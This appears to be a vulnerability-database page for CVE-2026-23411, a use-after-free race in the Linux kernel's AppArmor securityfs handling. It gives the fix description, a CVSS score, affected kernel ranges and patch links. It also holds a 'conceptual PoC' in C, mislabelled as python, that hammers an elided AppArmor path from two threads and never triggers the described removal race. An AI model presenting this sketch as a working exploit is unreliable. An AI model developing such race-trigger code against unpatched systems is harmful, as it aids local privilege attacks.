CVE-2026-23411

Description

In the Linux kernel, the following vulnerability has been resolved: apparmor: fix race between freeing data and fs accessing it AppArmor was putting the reference to i_private data on its end after removing the original entry from the file system. However the inode can aand does live beyond that point and it is possible that some of the fs call back functions will be invoked after the reference has been put, which results in a race between freeing the data and accessing it through the fs. While the rawdata/loaddata is the most likely candidate to fail the race, as it has the fewest references. If properly crafted it might be possible to trigger a race for the other types stored in i_private. Fix this by moving the put of i_private referenced data to the correct place which is during inode eviction.

CVSS Details

CVSS Score

7.8

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE

Linux Kernel (修复补丁发布前的版本)

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

/*
 * Conceptual PoC for CVE-2026-23411
 * This code attempts to trigger the race condition by rapidly accessing
 * AppArmor securityfs entries to maximize the window between
 * data release and inode eviction.
 */

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <pthread.h>

#define TARGET_PATH "/sys/kernel/security/apparmor/..." // Path to vulnerable interface

void* race_thread(void* arg) {
    char buffer[256];
    int fd;
    while (1) {
        fd = open(TARGET_PATH, O_RDONLY);
        if (fd >= 0) {
            // Trigger fs callback to access i_private
            read(fd, buffer, sizeof(buffer));
            close(fd);
        }
    }
    return NULL;
}

int main() {
    pthread_t t1, t2;

    // Create multiple threads to increase contention
    pthread_create(&t1, NULL, race_thread, NULL);
    pthread_create(&t2, NULL, race_thread, NULL);

    pthread_join(t1, NULL);
    pthread_join(t2, NULL);

    return 0;
}

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-23411
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-23411
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-23411/
[4] VulDB https://vuldb.com/cve/CVE-2026-23411
[5] https://git.kernel.org/stable/c/13bc2772414d68e94e273dea013181a986948ddf
[6] https://git.kernel.org/stable/c/2a732ed26fbd048e7925d227af8cf9ea43fb5cc9
[7] https://git.kernel.org/stable/c/3ddb961d2929bbb3204a2bba21b5d8153cd3f7cc
[8] https://git.kernel.org/stable/c/667df93769c02ff581c77d2d8f162147e719c557
[9] https://git.kernel.org/stable/c/8e135b8aee5a06c52a4347a5a6d51223c6f36ba3
[10] https://git.kernel.org/stable/c/a92c5e5086a87d082696245a8607666da3d80554
[11] https://git.kernel.org/stable/c/ae10787d955fb255d381e0d5589451dd72c614b1
[12] https://git.kernel.org/stable/c/eecce026399917f6efa532c56bc7a3e9dd6ee68b

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-23411", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-04-01T09:16:17.270", "lastModified": "2026-04-24T15:23:12.077", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\napparmor: fix race between freeing data and fs accessing it\n\nAppArmor was putting the reference to i_private data on its end after\nremoving the original entry from the file system. However the inode\ncan aand does live beyond that point and it is possible that some of\nthe fs call back functions will be invoked after the reference has\nbeen put, which results in a race between freeing the data and\naccessing it through the fs.\n\nWhile the rawdata/loaddata is the most likely candidate to fail the\nrace, as it has the fewest references. If properly crafted it might be\npossible to trigger a race for the other types stored in i_private.\n\nFix this by moving the put of i_private referenced data to the correct\nplace which is during inode eviction."}], "metrics": {"cvssMetricV31": [{"source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-362"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.13.1", "versionEndExcluding": "5.10.253", "matchCriteriaId": "E4959B74-9166-4E44-BD32-1C97D69EC095"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.11", "versionEndExcluding": "5.15.203", "matchCriteriaId": "20DDB3E9-AABF-4107-ADB0-5362AA067045"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.16", "versionEndExcluding": "6.1.169", "matchCriteriaId": "DBEC0E5D-641C-4E98-A6D9-5799B10CE451"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.2", "versionEndExcluding": "6.6.130", "matchCriteriaId": "C57BB918-DF28-46B3-94F7-144176841267"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.7", "versionEndExcluding": "6.12.77", "matchCriteriaId": "B3D12E00-E42D-4056-B354-BAD4903C03A5"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.13", "versionEndExcluding": "6.18.18", "matchCriteriaId": "346AD1FB-0CE8-4D9D-8E56-5EB1A4D06199"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.19", "versionEndExcluding": "6.19.8", "matchCriteriaId": "C65A7D85-C7C6-485E-AC35-66A374C73FAC"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:4.13:-:*:*:*:*:*:*", "matchCriteriaId": "40253A59-8422-42B7-B45F-FF9C4A824F3E"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc1:*:*:*:*:*:*", "matchCriteriaId": "F253B622-8837-4245-BCE5-A7BF8FC76A16"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc2:*:*:*:*:*:*", "matchCriteriaId": "4AE85AD8-4641-4E7C-A2F4-305E2CD9EE64"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc3:*:*:*:*:*:*", "matchCriteriaId": "F666C8D8-6538-46D4-B318-87610DE64C34"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc4:*:*:*:*:*:*", "matchCriteriaId": "02259FDA-961B-47BC-AE7F-93D7EC6E90C2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc5:*:*:*:*:*:*", "matchCriteriaId": "58A9FEFF-C040-420D-8F0A-BFDAAA1DF258"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc6:*:*:*:*:*:*", "matchCriteriaId": "1D2315C0-D46F-4F85-9754-F9E5E11374A6"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc7:*:*:*:*:*:*", "matchCriteriaId": "512EE3A8-A590-4501-9A94-5D4B268D6138"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/13bc2772414d68e94e273dea013181a986948ddf", "source": "416baaa9-dc9f-439 ... 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